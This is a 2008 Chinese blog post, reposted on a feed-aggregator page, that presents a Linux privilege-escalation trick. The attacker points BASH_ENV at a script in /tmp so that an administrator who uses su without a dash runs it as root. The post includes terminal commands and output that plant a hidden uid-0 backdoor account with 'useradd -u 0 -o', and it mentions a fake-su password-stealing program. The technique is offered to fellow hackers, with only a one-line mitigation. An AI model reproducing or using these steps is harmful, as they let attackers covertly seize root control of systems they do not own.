惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

IT之家
IT之家
aimingoo的专栏
aimingoo的专栏
H
Help Net Security
L
LangChain Blog
M
MIT News - Artificial intelligence
The GitHub Blog
The GitHub Blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More
C
Check Point Blog
P
Proofpoint News Feed
J
Java Code Geeks
大猫的无限游戏
大猫的无限游戏
博客园_首页
Blog — PlanetScale
Blog — PlanetScale
U
Unit 42
I
InfoQ
月光博客
月光博客
爱范儿
爱范儿
Stack Overflow Blog
Stack Overflow Blog
V
Visual Studio Blog
Y
Y Combinator Blog
Microsoft Security Blog
Microsoft Security Blog
博客园 - Franky
D
Docker
B
Blog

博客园 - %5C

MSSQL 2005 Backup log shell 新型下载者 基于时间差的SQL盲注技巧 跨站腳本攻擊(XSS):過濾不完的惡夢,又有新攻擊語法! Microsoft SQL Server sqlvdir.dll ActiveX控件缓冲区溢出漏洞 关于php漏洞 QQ邮箱跨站漏洞0day - %5C - 博客园 渗透测试(Penetration Testing) 跨库也能差异备份 dedecms tag.php注入漏洞分析与利用工具 Phpcms 2007 远程文件包含漏洞 入侵的艺术(无线渗透) dedecms >=5 版本漏洞及使用方法 各版本ewebeditor快速拿webshell 某信息港入侵手记 MS Office Snapshot Viewer ActiveX Exploit (可执行版) Oracle web环境注射技术 SuperCMS 上传漏洞! Sql2005注射辅助脚本
提权用的一个技巧 - %5C - 博客园
%5C · 2008-09-15 · via 博客园 - %5C

一个linux提权用的技巧,放出来全当找工作攒RP了。

OK,通常情况下,我们在执行bash脚本的时候,有一个执行过程,其中有一点比较重要:如果BASH_ENV被设置的话,它就会执行BASH_ENV指向的脚本

一个test:

[xiaoyu@localdomain ~]$ echo $BASH_ENV

[xiaoyu@localdomain ~]$ export BASH_ENV="/tmp/.bashrc"
[xiaoyu@localdomain ~]$ echo $BASH_ENV
/tmp/.bashrc

[xiaoyu@localdomain ~]$ cat /tmp/.bashrc
#!/bin/bash
echo "Hello"

[xiaoyu@localdomain ~]$ ls -l
-rwxrwxr-x 1 xiaoyu xiaoyu 22 2008-09-11 05:54 test.sh

[xiaoyu@localdomain ~]$ cat test.sh
#!/bin/bash
echo "kk"

[xiaoyu@localdomain ~]$ ./test.sh
Hello
kk

恩,很好,和我们预期的一样。看看我们怎么利用。

grep su ~/.bash_history

显示此用户有使用su登录root账户的特殊癖好。 以前我们遇到这种情况通常就是塞个fakesu.c进去。然后修改.bash_profile,建立个别名之类的东西。通过getpass来获得root 密码,记录,然后去除别名.....关键是管理员使用正确密码登录的时候也是会提示一次密码错误。遇到傻点的管理员可能就放过这个细节了,再输入一遍密码 就OK了。但是某些非人类admin会以最快的速度检查系统被入侵的迹象,外加啥啥啥,而且这种管理员改 root密码几乎是肯定的了。所以偷取下来的密码也没啥用处。恩,聪明的X客们一定知道我要做什么了。呵呵,先看看环境变量su后在不

[xiaoyu@localdomain ~]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain ~]$ su
Password:
[root@localdomain xiaoyu]# echo $BASH_ENV
/tmp/.bashrc
啊哦,还在,OK,实验结束,实战:

[xiaoyu@localdomain tmp]$ echo '/usr/sbin/useradd -u 0 -o kk 2> /dev/null' > /tmp/.bashrc
[xiaoyu@localdomain tmp]$ cat /tmp/.bashrc
/usr/sbin/useradd -u 0 -o kk 2> /dev/null
[xiaoyu@localdomain tmp]$ grep kk /etc/passwd
[xiaoyu@localdomain tmp]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain tmp]$ su
Password:
[root@localdomain tmp]# cd /home/xiaoyu
[root@localdomain xiaoyu]# ./test.sh
kk
[root@localdomain xiaoyu]# grep kk /etc/passwd
kk:x:0:503::/home/kk:/bin/bash
[root@localdomain xiaoyu]#

呵呵,改密码的语句我没加进去哦。自己想,呵呵,偶不知道,偶不知道

恩,关于怎么安置,和fakesu一样,在.bash_profile等地方export BASH_ENV变量...

如果要避免这种情况,使用su -登录root,估计没几个管理员记得这个指令吧..汗...

以后会慢慢放出一些小技巧,很多东西窝着窝着,自己都忘了...囧!